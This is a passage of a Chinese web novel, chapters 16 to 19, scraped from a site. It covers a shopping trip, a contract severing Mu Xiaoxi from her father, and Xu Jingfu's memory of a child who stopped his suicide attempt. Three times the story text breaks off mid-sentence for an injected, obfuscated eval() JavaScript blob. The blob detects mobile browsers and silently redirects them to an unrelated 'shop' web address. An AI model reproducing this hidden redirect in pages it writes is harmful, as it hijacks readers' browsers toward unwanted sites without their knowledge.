李香榕愣了下,指了一下外面:“在院子里。” 木晓晞点点头便瘸着腿小跑到了院子里,前院里没人,只有一长串水管团在那里,她顺着水管牵引的方向走去了后院。徐敬孚在那里给树浇水,他穿着一身干活的灰色工装服,树坑旁边还有一大袋肥料和营养土,一些工具。 见她过来了,他随手拿了旁边一个折叠小板凳打开放到旁边:“坐。” 然后拿着水管继续换个树坑冲水。 木晓晞有种莫名其妙的不真实感,这让她有些混乱,她站在原地看了会儿才慢慢走过去:“我的裙子呢?” 徐敬孚沉默地冲完一个水坑,然后关掉水龙头。 “什么?”他没听清。 “我的裙子呢?”木晓晞问他,“王阿姨说你把我的裙子扔了。” 徐敬孚盯着她的脸看了一会儿:“你今天怎么样?” 木晓晞擦了下眼睛,哽咽着说:“我很喜欢那条裙子,那是我最喜欢的。” “没扔。” “在哪?” “我收起来了。” 木晓晞愣住了。 徐敬孚脱了干活的手套,从兜里掏了掏,没找到纸巾。 “今天我休假,带你出去买点衣服和日用品。”顿了顿,又说,“顺便转一转,你很久没出门了,一直宅在家里不好。”徐敬孚把管子一圈一圈地绕着收起来。 “收到哪里了?” 徐敬孚伸手用大拇指把她眼角边的泪珠随手擦掉,然后一脚跨过去,收起小板凳,往屋里走:“一个你永远找不到的地方。” “徐叔叔!” 徐敬孚停下来,转过头:“你找不到,它也不会被丢掉。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200755|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木晓晞又擦了一下眼泪。 徐敬孚说:“就放着,放到你什么时候忘了,不需要了,我就还给你。” 这么多年来,徐敬孚在家里吃饭的次数少之又少,只有偶尔于珍和徐休来家里的时候才会开开火,平时工作忙,他相当一部分时间连家都不回,而是就近常住公司附近的酒店里,今年李秀来照顾他的生活,才又在公司附近买了套公寓。 说起来那么多房子,住着的也不过是保姆。 木晓晞的存在算是很好地利用起来了这些曾经被他浪费的资源,也因此他并不在意木晓晞每天只是睡觉什么也不做,他只会觉得这样不健康,睡太久会让人抑郁。 吃得太少也是。 保姆和他们不在一桌吃饭,一楼有一间她们的临时休息室,她们会去那里吃。 “吃好了?” 木晓晞剩了大半碗饭,米饭只吃了两三口,汤水喝了小半碗,蘑菇吃了一点,肉几乎没吃。蓝莓山药吃了两勺也放下了。 这饭量,两岁孩子也比她强。 “吃好了。”木晓晞小声回。 “吃不下还是不合胃口?” “……”木晓晞怕他找阿姨的茬,想了想,说,“胃容量好像就只有这么点了,稍微多吃一点就想吐。” 徐敬孚点点头:“那就少吃多餐,分开吃,一天五顿,可以吗?” 听着是疑问句,实则是陈述句。 木晓晞只能被迫接受,她点了下头,感谢道:“谢谢叔叔关心。” 徐敬孚喝了口汤:“应该的,毕竟你花了我不少钱。” 木晓晞:“……” 徐敬孚看她抑郁难受的样子,心情也不是很好,毕竟今天早上刚给木钧付了一笔医药费,虽然钱不多:“哪怕是为了我花出去的钱着想,你也该把自己养好一些,让我能觉得这钱花得值得。” 经过三天的缓冲,木晓晞从巨大的精神冲击中可以慢慢出来了。即便她并不想,徐敬孚也不想让她在那个自怨自艾自怜自哀的防空洞里待太久,很多事,并不是足够哀伤就能够过去的。 “我知道对你来说这很困难,不容易接受,但这是一个事实。”徐敬孚放下碗,抽了张纸,“经过三天的考虑,我们决定给你爸一笔买断的费用。” 木晓晞浑身一震。 “你爸……木钧,他的胃口不小,但我们决定满足他。” “多……” “什么?” 木晓晞努力提高了一点音量:“多少?” “你希望是多少?” “不能不给他吗?” “这就是你对自己的出价?” 木晓晞不敢看他,低着头。她有什么价值?她值什么钱?买她有什么好处?她不明白,不理解。徐家人并不是她以为的那种没有任何底线的人,对于这种人,买她能有什么用?难不成真是买个女儿?可凭什么买她呢?她长得不漂亮,不优秀,连学习也只是不上不下。 “木晓晞,你要知道我是一个商人。”徐敬孚抬起她的下巴,让她抬起眼能跟他对视,“我不会做亏本生意。” “……” “而且这笔钱不是我出的。” “徐……董事?” “……” 徐董事为什么会为她出钱?他不是……不是不喜欢她吗?还用水杯丢了她。 “但这是有代价的。” 代价? “明天你要和我们一起去见木钧,签字,只有你签下字,合同才能生效,木钧才能拿到钱。”徐敬孚拿了果盘里的一个橙子过来,并没有用刀,而是用手一点点地把皮剥开撕掉。 木晓晞注意到他的手,他的动作很熟练,没有弄烂一点皮,整颗果肉很快就被他完整地剥了出来。她有些出神,或许是没见过第二个和她小时候吃橙子有同样习惯的人。 “代价是……”他拿了一把小刀放在放橙子的盘子上,再把盘子推给她,“你和木钧除了名义上的父女关系,,从此以后不能再有任何接触,以及……” “以及……”她有些恍惚。 徐敬孚沉默了好一会儿,最终还是摇摇头:“吃吧。” 他起身拿了衣服,去了楼上洗漱。 虽然没说完,但木晓晞大概知道他说的是什么。 等徐敬孚收拾好下来,木晓晞也已经在门口的院子里等着了,他上了车,她也坐了上去。她没坐副驾驶,坐的后面。 徐敬孚看到了,也没有说她什么,只是问:“平时喜欢去哪里逛。” 17. 第 17 章(重写了一版) (十七) 木晓晞不喜欢逛街。 相当长一段时间里,她无论买什么东西都是网购。那条白色裙子就是她为数不多在商场里买的东西,和宿舍同学一起出去逛街的时候买的,当时那条裙子是作为模特穿的衣服摆在店内最显眼的位置的,她一眼就看中了,连同模特身上那个编织包还有那条星星项链。 舍友见她喜欢,怂恿她去试一试,这一试,就试出去了将近一千多块。 这是她衣柜里最贵的一件衣服,也是她最喜欢的。朋友们都说,她穿起来像古墓派的小仙女,也许是客气恭维,可她很少被人这样夸过,所以难免在羞惭否定中夹杂了一丝的暗喜,最后她也为这一丝甜蜜的暗喜付出了金钱的代价。 这就像她不喜欢吃甜,因为那甜蜜的背后似乎总藏着一些会让人不安痛苦的暗刀。 而所有的甜中,她最不喜欢的,就是橙子的味道。 徐敬孚带她去买衣服,与其说是去买,不如说是扫荡。他还是像惯例那样,到一个店后就会询问她“有喜欢的吗?” 而她的回复也一如既往:“随便。” 徐敬孚便叫导购去给她搭配一些衣服,除去特别不适合她风格的,基本上都会挨着试一试。凡是试过后看得过眼的,只要她没有明确说不要,他就都会叫人包起来。 哪怕是抢劫一样的价格。 “叔叔不要买了,已经够了,够穿了。”她和他说了很多次,不过每一次都被当作了耳旁风。 徐敬孚一边拿出卡让导购刷,一边跟她说:“你不自己选,我来选的话,就是这种结果。” “……” “不亲自做决定,就没有发言权。”说罢,徐敬孚跟导购说,“先放在店里,等会儿再来拿。” 什么意思? 徐敬孚回过头,跟她解释:“还有下一家,买其他的。” 木晓晞张着嘴:“不……不……” 徐敬孚拉着她的手臂径直往对面的珠宝店里走。 以前在课本上学过什么叫阶级,但只有在这一刻,木晓晞才能感觉到什么叫阶级。这些在普通人眼里需要下很大的决心才能买的东西,在徐敬孚这样的人眼里,似乎就只是超市里的白菜小葱,随手拿了就走,好像整个商场都是他家的菜园子。 “倒也没错。”听到她的嘟哝,徐敬孚这样说。 “什么?” “第一,我没带你买什么好东西,因为你还是学生,买得太好了你也穿不出去。”徐敬孚将一串珍珠项链拿出来让导购给她戴上试一试,“第二,的确是我家的菜园子。” 木晓晞呆若木鸡。 导购给她戴上项链,徐敬孚看了看,摇摇头。 木晓晞前头试了一条新的黑色的裙子,有点小高领的法式赫本风,很适合她这种身材纤瘦脖子细长的人穿,尤其是像木晓晞这种身上有点内敛清冷气质的女生。因为她原本那一身卡通粉T都洗得有点变形了,于是徐敬孚就直接让她穿成这样出来了,也方便后面买其他的东西时好搭配。 这条珍珠项链就是用来搭这条裙子的,但徐敬孚觉得不合适,试了几条要么珍珠太大了,款式看起来太过富态成熟,不符合她的年纪,要么颜色差点意思。 “换个地方。” 木晓晞拉住他的衣服,有点慌地问:“还去哪里?” 徐敬孚说了个品牌。 木晓晞没听过那个品牌,按直觉问他:“更贵吗?” 导购在旁边悄悄点头。 “大概什么价位?”她问导购。 “像这样的项链的话,应该至少……”导购比了两根手指。 木晓晞看了眼这条项链的标签价,大概三千多。她有些困惑。 “两万以上应该。”导购说。 “……” 木晓晞一下拽紧徐敬孚的衣服,踟蹰再三,气势不太够地跟他说:“非要买的话,这个就可以了。” 徐敬孚看了眼导购,双手插兜跟她说:“你不用管价格。” “您说的,我做选择的话,就听我的。” “……”徐敬孚又看了眼那条珍珠项链,皱眉,“不好看。” 已经有点明白他性格的木晓晞连忙跟导购说:“能不能帮我再选选,我叔叔觉得这条不好看。” 导购当然乐意,一下又拿出来几盒。 最后,在木晓晞的千挑万选之下,选出来了一条链条细细的有两圈的项链,项链最前面,坠着一串流星似的穗。很便宜,很普通,甚至不是银的。 “这条可以吗?”木晓晞小心地问。 徐敬孚拧了下眉:“你是喜欢项链,还是喜欢它便宜。” 木晓晞咬了咬嘴唇,没否认:“都喜欢。” 徐敬孚点了下头,便让导购包起来,之后又让她分别选了两套她喜欢的。没有例外,都很便宜。喜不喜欢不知道,反正问起来都说是喜欢的。 衣服,鞋,珠宝,甚至是护肤品化妆品,徐敬孚都带她去扫荡了一遍。吸取买衣服的教训,后面她都选得很积极,甚至还会主动挑选店铺,除非她选的地方是十元店这种档次的地方,否则徐敬孚都会依着她的决定。 徐敬孚只给她规定种类,样数,其他就都随便她,哪怕知道她就是为了省钱尽量选的都是最低配,也不作任何评价。 因为买的东西实在太多,回去的时候光是返回来提东西就提了三四趟,第四趟的时候没剩几样,徐敬孚就叫她在车里等着,他去提。 “我……”她刚想说自己去拿。 徐敬孚指了指她的膝盖。 “不怎么疼了。”她说。 “待在车里。”徐敬孚不容置喙地说罢,扭头便离开了。 看着男人一步一步走远的背影,木晓晞坐在后座,看着满车的袋子,一时间有些迟钝的茫然。她不明白这是在做什么,不明白徐敬孚是怎么想的。 这两天,她看了那份合同。 那份被她夹在行李箱里装过来的合同,也是那份徐敬孚带去西餐厅,被她看也不看便签了字的合同。 她很认真地看了,这两天除了睡觉吃饭,就是在翻来覆去地看那份合同,而不管她怎么看怎么翻,都没办法从这份被她默认为是契约婚姻合同的文书里找到任何一个关于“婚姻”的字。 合同中,徐敬孚需要履行的义务是没月给她生活费两万元,负责她的学费和生活开支;她的义务则是定期去看望陪伴他的母亲于珍,有必要的话,还需要请假去探望,直到于珍离世。 全文上下,没有一个字是跟婚姻相关的。与其说那是一份契约婚姻协议,不如说是一份很纯粹的赠予抚养协议。 再结合前几天晚上在度假山庄发生的事,结合徐敬孚说的那些话——“你没有选择了。” 意思是,那之前她是有选择的。 也就是说,在木钧来度假山庄之前,在他以“亲家”自居威胁徐家之前,在她以“徐敬孚未婚妻”的身份亲自去见徐老太太于珍之前,她都是有选择的。而这个选择,也许真的是像徐敬孚一开始给出的那两个选择一样—— 做女儿。 现在想来,徐敬孚几次三番地提醒她“做正确的决定”,也许并不是嘲讽她,也并不是像她想的那样阴暗。也许真的只是字面意思,做女儿。 如果是这样,那徐敬孚在西餐厅怒不可遏地打她的那一记耳光就有了解释。 他大概没想到世界上竟然有她这样不识好歹的人。 可是也不能怪她,毕竟她就算至今也还是不明白,不明白他为什么会这样做,为什么会花钱买下她,乃至于“加钱”都要买下她。不仅如此,还带她来买这买那,为什么呢? 是为了明天和木钧签合同“买断”的时候,她看起来像样一点吗? 如果是那样的话,一套衣服就够了,不是吗? 还是说…… “咚。”车门被摔上,几个袋子被扔到了副驾驶位置上。 徐敬孚往后递来一个小袋子:“快点吃,快化了。” 他手里还拿着一个小碗,是一小碗冰淇淋。 木晓晞露出震惊到张嘴的神情。她连被木钧辱骂时都没有露出过这样的神情。她看看袋子里的冰淇淋,又抬头看看徐敬孚,眨眨眼,再低头看看袋子。 徐敬孚:“……” 木晓晞:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200756|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>徐敬孚:“拿着,不吃扔了。” 木晓晞一个激灵,连忙接过袋子:“谢谢叔叔。”顿了顿,又说,“吃。”说着抿抿嘴,又抬头快速地看他一眼,看到他拿着个小勺子几口把冰淇淋塞到嘴里,然后纸碗往塑料袋里一丢,又出车外去扔垃圾了。 很快人就回来了,他坐下系上安全带,扫了眼后视镜:“不吃?” 木晓晞马上就打开袋子,拿出冰淇淋碗来。 比起徐敬孚吃的那款巧克力味的,她手里这款冰淇淋则花里胡哨的,又是彩球帽子造型,又是花朵饼干,还有一些乱七八糟的饼干碎碎。 她不喜欢吃甜的,因为胃常年不好,所以也不喜欢吃冰的。 不过她还是吃了。 因为徐敬孚正从中央镜里盯着她。 “怎么样?” “……”她整个嘴都快被冰木了,“嗯……好,好吃。” 徐敬孚一眼就看出来她不喜欢了,边发动车边说:“小时候你就喜欢吃雪糕,冬天都要买来吃,现在为什么不喜欢了?” 听到他说“小时候”,木晓晞舀冰淇淋的手滞了一下,她抬起眼与中央镜里的那双男人的眼睛对视。 “你好像有很多习惯都变了,橙子也不爱吃了。” 中午的橙子她明明是吃完了的。 木晓晞低下眼,舀了一大口冰淇淋到嘴巴里包着:“没有不喜欢……” “你知道生意人必备的技能是什么吗?” “……” 镜子里那双眼睛弯了起来,沉稳的声音从前头传来:“说谎,以及识别谎言。” 木晓晞:“……” 车很快就开出了地库,来到大马路上,平稳地行驶着。除了那几句,徐敬孚就再也没有说过什么了。 木晓晞在后座慢慢地吃着她不喜欢的冰淇淋,一口,又一口,直到连所有的汁水都全部倒进肚子里,才算结束。她也不喜欢浪费,哪怕是不喜欢的食物。 她将纸碗放进袋子里,用纸擦了擦嘴。冰淇淋的甜味还充斥在她的口腔,冰冷的温度让她的胃已经开始有些轻微的疼痛,但她并不是很在意这些。 “徐叔叔。” “嗯。” “我们认识吗?以前。” “认识。” “什么时候?” 车拐了个弯,又开了一截,开始等红灯。 徐敬孚问:“你一点也不记得。”说是一个问句,可语气不像是在问。 木晓晞摇了下头。 徐敬孚笑了下:“你最早记得多少岁以前的事?” 木晓晞:“……” 多少岁以前?木晓晞有些不知道怎么回答。 她想了好一会儿,才慢慢说:“基本上,大学以前的事很多都记不得了,除了一些比较亲近的朋友和同学,只记得初中和高中两个班主任的名字,再之前……小学以前的事都记不太多了,只记得很少的一些和外公外婆生活的片段……对不起。” 红灯亮了,车继续往前开。 “有什么好对不起的,我们认识的时候,你才五岁,你七岁多的时候,我就已经不在那边了。”徐敬孚扫了眼中央镜,安抚她,“记不得是正常的,就算是以前,我也不经常见到你,你爸不怎么带你出来吃饭。” 木晓晞:“……” 徐敬孚:“这么说,会让你伤心吗?” 木晓晞摇头。沉默片刻,她问:“叔叔只是因为认识我,所以就这样帮我吗?” 徐敬孚反问:“你认为我是这么无私的人?” 木晓晞看着镜子里头。 徐敬孚说:“你是木钧的女儿,而我跟木钧有很大的过节,正常情况下,你不会有第二次见我的机会。” “那是……为什么?”木晓晞想到曾经在木钧病房外听到的那些谣传,“是因为我……” 因为我像你一直喜欢的那些类型的女人吗? 她没说出口。 “因为你是我的救命恩人。” 木晓晞一震。 “这个理由够充分吗?”徐敬孚将车停到了一个公园旁边,打开烟包拿了根烟出去,“我下去抽根烟。” 18. 第 18 章 (十八) 徐敬孚二十四岁那年,发生了两件足以击垮他的事。 第一件,他信任自己的结拜大哥木钧,将自己二十四年来的所有积蓄全部投入进了一个工程项目之中,结果不到半年时间,那个项目便因为某位领导被查彻底黄了,所有的投入全部打了水漂,不仅如此,还差点背上了官司和莫须有的罪名。而后来,他得知这一切都只是木钧的一纸投名状,为了向某些人证明自己的忠心。 第二件,他找到了自己的亲生父母,并且拿了钱上门去认亲,但却被他的亲生母亲推出了门,亲生父亲则拿着菜刀将他生生砍出了那条街。理由是,他是一个不应该出生的孽种,没把当初还是婴儿的他直接弄死已经是他们的仁慈。 遇到木晓晞的那一天,是他身份证上的生日。他不知道自己的真实生日是什么时候,就一直按身份证上的来记着,虽然也从没过过就是了。 那天,他本来打算跳河。 应该说,是一条渠。因为距离水库上方很近,水一直很急,冬天的时候光是走在河边都能感觉到那从奔腾的浪花中散发出的刺骨寒意。 渠上有一座几米的小桥,就是在那里遇到的木晓晞。她背着小书包出现在他面前的时候,他已经在那里站了六七个小时了,一个通宵,但凡她再晚两分钟出现,他就已经下去了。 “叔叔,你怎么在这儿啊?”一张吊着鼻涕冻青的小脸不住地抖着下巴,脸上的泪痕都结了冰花。 小孩穿得很薄,上身只有一件毛衣。她紧紧地拉着书包带子,让书包紧贴在自己的后背上,但即使是这样,她的全身还是冻得不住地抖。 “叔叔好。”小孩很有礼貌地跟他鞠躬。 “……”他都有点忘了这是哪家的孩子,没认出来。 小孩看他不回应,自来熟地说道:“我叫木晓晓,你把我爸爸叫大哥,我见过你,记得你的名字,你叫徐敬孚,徐公的徐,尊敬的敬,浮夸的浮没有三点水。” “木……晓晓?” “我不喜欢这个名字。” 小孩抖得跟筛子一样,他也无动于衷。他并不想理她,所以也没有说话。 “叔叔你叫我晞晞吧。” 他看到小孩笑嘻嘻的,也不走,就突然赖在他身边开始莫名其妙地说起话来。 “这是我给我自己起的名字,日字旁边加一个希望的希,意思是天亮时的光,你说像不像现在天上的星星?” 前言不搭后语。他转过头靠在桥边上看着底下的水,因为小孩的耽误,还要在这无聊的世界上苟活几分钟。 “星星就是晚上的太阳,是黎明前的光。” 小孩似乎没有走的意思。一阵强劲的寒风吹过,哪怕冻得连话都快说不出来,她也依然只是缩了缩躲在他的腿边躲风,没有离开。 她一直喋喋不休地说着什么,他并没有认真听,他一直沉默着,想用这样的冷漠叫她明白,他不愿意对任何一个姓木的张口说话。可她很有毅力,哪怕冻得声音都变小了,说话颤得音都发不准,还是有一搭没一搭地自顾自地说着一连串的单口相声。 直到他自己都觉得,再这样继续下去,这孩子恐怕要跟他一起冻死在这桥上时,他心中所剩不多的良知总算让他开了口。 “你怎么在这儿?” 就这么一句,那孩子的眼睛里就亮起了一片星星。 那一天,他吃了一个孩子给的橙子,作为他的生日礼物。 也是那一天,第一次有人问他:“你把衣服给我穿,那你冷不冷啊?”然后她主动爬到他的后背上,用身上的衣服包住他。 还是那一天,这个世界上出现了一个会在意他冷暖,在意他生死的人。 她说:“你不准死。” 她说:“徐敬孚,冬天的河水太病了,你会冷的。” 她说:“你死了我会很伤心的,我每天上学都要从那条河上过,要是我看到你在河里面,我肯定每天都会哭。” 她还说:“今天叔叔背我上学,我很暖和,明天能不能也背我上学。” 其实就算是现在,徐敬孚有时想起来也觉得很不可思议,一个七岁的孩子是怎么能够说出这样的话的,一个七岁的孩子,又是怎么在一个照面的时间内就看出他的意图的,这么小的孩子,竟然会用“明天”的方式来告诉他,要活着。 似乎连科学都解释不了,一度他以为那是神迹。 是星星上的神仙下凡来救他了。 他宁愿相信是神仙显灵,也不愿意相信那是木钧的女儿。一个七岁的小孩,怎么可能认识“晞”这种难度的字,还能说出意思。 于是就这样一天又一天,无论白天他有没有饭吃,无论夜里睡不睡得着觉,每天早上那个时候他都会雷打不动地等在那儿。拿着一个橙子,等那个小孩儿来。 他有时叫她晞晞,有时叫她晓晓。 忘了她是谁的时候,就会叫她晞晞,记起她是谁的时候,就会叫她晓晓。小孩儿并不在意,只是每天蹲在桥边让他给她手剥橙子吃,吃完了再跟小蜈蚣似的手脚并用紧紧扒到他背上,一遍遍地跟他说:“徐敬孚你真好,你要是我爸爸就好了,这样就可以每天都让你送我上学了。” 他还记得他那时候听到这个话时是怎么想的,他想:他现在每天能给她的,只有一个橙子,就这还是从牙缝里挤出来的。 小孩子不懂什么叫权衡利弊,等长大了就会懂了。 幸亏。 幸亏她还不懂。 他也不希望她懂。他希望这辈子,她永远都不需要懂得这些,他希望时间可以就这样停留,生活可以就这样重复,每天一个橙子,每天来到桥边,每天背着一条紧紧抓着他脖子的小蜈蚣。 为了让她能够更紧地抓着他,他总是会悄悄放松一点托着她的力气,这样,孩子那纯真的温度好像就能顺着那紧紧相依的接触传递到他的心脏,让他就这样挺过了一天,又一天,再一天。 直到有一天,终于,他可以能给她橙子以外的其他东西了,他拿了一个新的文具盒来见她。 很早就等在了桥边。 然而那天,他看到一辆轿车从桥边的大路上缓缓开过,小孩坐在里面,兴高采烈地跟她的爸爸说着什么。她很开心,从没这样开心过。 开心到,连那句“你要是我爸爸就好了”的发言都被衬托成了一个巨大的善意的谎言;开心到,他叫了她好几声,她都没有听见;开心到,从头到尾没有朝他这边看过一眼。 后来,他就没有再去那座桥了。 再后来,有一个姓徐的中年男人找到了他,告诉他:“你可能是我失散多年的孩子。” 他后来回忆这件事时分析过自己的心理,为什么会明知徐休给他的那份鉴定书是假的,他还会配合演出,圆了对方的这个谎言。 三个原因:一,徐休有钱;二,他要东山再起;三。 第三个原因,是最龌龊的,也是最不知感恩的——他要让那个小孩儿知道,谁才是那个最适合做爸爸的人。 这就是他最开始跟着徐休走的原因,也是后来木钧将真相捅到他和徐休面前时,他宁愿和徐休签下各种不平等条约,宁愿赌上一切也要留在徐家的原因。 只能说是老天眷顾,他赌对了。 赌来了于珍对他的“爱”,得到了徐休给他的平台和金钱,得到了体面的身份和地位,他几乎得到了普通人梦寐以求的一切。 似乎是这样。 他并不是天生就喜欢抽烟的。来到徐家之前,他是从不在应酬以外的时间抽烟的。 一开始他还能告诉自己抽烟是为了应酬,后来抽到连一个人待着休息的时候都能连着几小时手里不断烟,抽到身边的生意伙伴都开始提醒他是不是抽得有点太多了的时候,他才意识到他出了点什么问题。 他好像没办法在离开烟的情况下,自己一个人独自待着,好像也没办法在不抽烟的时候,去处理一些他感到抗拒的事情。 烟成了他的伙伴,他的一部分精神支柱。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200757|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 戒烟也就成了一种比戒毒还难的事。 说服不了自己戒烟,就只能说服自己接受,他说服自己的理由是:反正他也并不想长命百岁。 于珍死的时候身边还有徐休和他,等他死的时候呢?还有什么?钱?地位?名声?还是那一堆永远看不完的合同?永远处理不完的公司事务? 黄粱一梦终须醒,镜花水月一场空。 唯一能让他感到些许安慰的是,他不是在神志不清地做梦,而是主动选择进入的这个梦。这种主动权在握的感觉,给了他一种虚拟的安全感。 他以为自己的一生就要这样度过了,他以为,这已经算是他最好的结局。 直到那一天。 直到陈遇给他发来讯息:【木钧带了一个女孩儿过来。】 木钧带了他的女儿过来。 【叫人啊,晓晓,叫人。】 木钧催促着她。 她长得和以前很不一样了,性情也翻天覆地,没了一点小时候的活泼和话痨,胆小拘谨得不像话,光是朝她走了两步,她的头发都要竖起来了。 好久不见。 木晓晓。 真的好久不见。 十三年了。 没想到再见竟然是在这样一种情形之下。 那份送给他的“土特产”,是一本相册。相册翻开,是一个女孩儿二十年的青春和过去。 看到相册的那一刻,他突然像是在虚空抓到了什么。 抓到了什么呢? 一个机会。 一个由木钧亲手奉上的,改变结局的机会。 而如今,这个机会就在他的身边,穿着他买来的衣裙,戴着他买的珠宝头饰,提着他买的包,踩着他买的小高跟,跟在他的身后,随着他一起上车,下车,进入大楼,上电梯,出电梯,来到办公室门前。 徐敬孚停在门口,转身看了一眼女孩儿。 “准备好了吗?” 木晓晞反问他:“准备不好能怎么办?” 他道:“凉拌。” 木晓晞不知想了什么,她做了一个深深的呼吸,问他:“叔叔,如果你是我,你会怎么做?” 徐敬孚毫不犹豫地回答:“我会选择最符合我利益的做法,签字,离开木家,凭借一纸婚约从徐家尽可能获得更多的金钱支持,捞些好处,等积累够财富有了足够的经济底气,婚约一结束就离开这里,去过自己想要的生活。” “你怎么能教别人这样利用你?”本来连肌肉都紧张得快要痉挛的木晓晞被他这个标准的徐敬孚回答给逗笑了,她评价道,“真是太冷酷了。” “冷酷吗?”他笑了笑,推开门。 他问里头已经来了的人:“徐董也认为这样很冷酷吗?” “你的孩子,我可没有教的义务。”坐在老板椅上的徐休懒懒地抬了下手,当是和木晓晞打了招呼,他的目光在全新装扮的木晓晞身上巡视一圈,笑了下,跟她说,“不过,他说得也没错,树挪死人挪活,这不是冷酷,这叫识时务者为俊杰。” 顿了顿,又道:“利用也不是个坏词,毕竟,只有有价值的东西才配被利用,对吗?” 说罢,他指了指桌上的文件。 “木钧已经来过了,花了十分钟,签下了所有的文件之后就走了,说是要去赶飞机,让我回头把文件寄过去。”他问木晓晞,“你呢?你要用几分钟?” 木晓晞花了接近两个小时。 徐敬孚找了一个律师来,向她解释了所有条款的含义,确保她完全明白其中每个字的含义。 即便如此,真正签名字的时候,手依然是抖着的。 页码很多,文件一式几份,光是纯粹的签名按手印时间就有接近十分钟。木钧全程只花了十分钟,那只能说明合同里的内容他什么也没看。 “给你爸的这些钱,是从于珍的卡里出的。”徐休拿出一张卡放到桌上推至她面前,“三千万,彩礼。” “找个时间,把证领了。” 19. 第 19 章 (十九) 结束了。 昨天晚上她一夜都没有睡,一直在想,今天的签字场面会是怎样的,会像那天在酒店那样大吵一架吗?还是像曾经那样忍气吞声糊弄过去,亦或者像她穿戴装扮的那样,狐假虎威演一场爽文剧情。 她想了很多,想了所有的剧情,像通关攻略游戏一样给自己做了无数条行动线路,早上六点就起来开始护肤,化妆,收拾打扮。每走一步路,脑子里都在反复预演着可能会发生的事,她以为,她完全能够料到所有的展开,能够应对所有的情况。 她还是少算了一步。 剧本写好了,演员没来。 留她一个人面对那一堆陌生而荒谬的合同文件。 木。晓。晞。 她一笔一划,签下了自己的名字。 从此以后,她不再是谁的女儿,她也不再有任何家人,她只是她自己,她只有她自己。 可那又怎么样呢? 事情还没发生时,她总以为自己会承受不了,连徐敬孚似乎也这样认为。他叫工人来焊死了纱窗,叫阿姨24小时守在她的身边,连用一把剪刀的自由都不打算给她,好像在他的心里,她脆弱得像一朵必须要攀附在其他枝干上才能勉强活着的菟丝子。 实际上呢?当最后一笔签下时,她感受到的竟然不是预想中的痛苦悲愤剜掉心头肉般的撕心裂肺,而是……茫然。 就好像一条突然被抛入大海的小船,海天相接望不到边,看不到深,仿佛被一个不知名的庞然大物裹入口中,她出不去,也不知道即将发生什么。 她只能茫然地等着,等老天爷的安排,等命运的判决。 而徐董事也的确给了她一个判决:“于珍说,你们领证的时候,她想亲眼去见证。” 她是怎么回答的?她有点忘了,好像只是点了头。 可徐敬孚却似乎迟迟不能给出回应,也没有明确说不同意,只是说:“关于这件事,我还需要再考虑。” 考虑? 考虑什么? “过河拆桥?”徐董事问。 “爸。”徐敬孚没有再叫徐董,而是罕见地叫了“爸”。她不清楚徐敬孚和徐董事之间有什么龃龉,以至于父子俩之间的称呼生疏得仿若上下级,好像只有很偶尔的时候,他才会叫“爸”。就像她,她也总在心里直呼木钧的名字。 “徐敬孚,你以为你有权力决定这件事吗?”徐休不愿和他多说,指指她,“在教你的孩子之前,以身作则吧。” “您也知道我只把她当成孩子。”徐敬孚说,“我可以和妈解释,会尽量温和,让她不受到伤害,不……” 徐休一杯茶水直接泼到他的脸上。 徐敬孚闭上眼,脸上全是水。 木晓晞在一旁呆住了。 徐休还是笑着,只是现在的笑容里并没有笑:“你以为,我把几千万当草纸一样扔给一个地痞流氓是为什么?我要的就是万无一失,什么叫万无一失?你解释解释?”他站起来,拿指擦了擦手,拿起已经被包好的文件,“你可以有一万个方法去对你的孩子,我不关心,不在意,但婚姻这场戏既然是由木钧亲自发起的,那你们就要给我好好演完,你要知道,是我在给你收拾烂摊子,但凡你当年结交的是一个正常人,都不会有这么多麻烦。” 说着,他又看向木晓晞。 “你说她是你活下去的理由。”他将手里的纸巾包扔给徐敬孚,他看着木晓晞,但话却是对着徐敬孚说的,说得很慢,“我希望你也能理解,你妈也是我唯一活在这个世界上的理由。” 说罢,他便拿着文件扬长而去。 徐董事离开后,在很长的时间里,徐敬孚都保持着那个被泼了水的闭着眼的姿势,靠在椅子上,一动不动的。什么表情也没有,好像睡着了。 但她知道他没有睡。 不知道为什么,她每一次和徐敬孚见面,似乎都会见到一些出乎她意料的徐敬孚的另一面。高高在上的他,冷酷刻薄的他,愤怒暴力的他,可以和店老板亲和地拉家常的他,眼里揉得了沙子的他,强势而不失温柔地帮她处理伤口的他,会因为木钧骂她而暴怒冲去打木钧的他,会手剥橙子给她吃的他,爱吃甜食的他,给她挑衣服教导她要学会自己做选择的他。 以及……哪怕她每一次都选错,依然固执地试图给她机会让她再一次重新选择的他。 而现在,她又看到了一个新的他,一个新的徐敬孚。 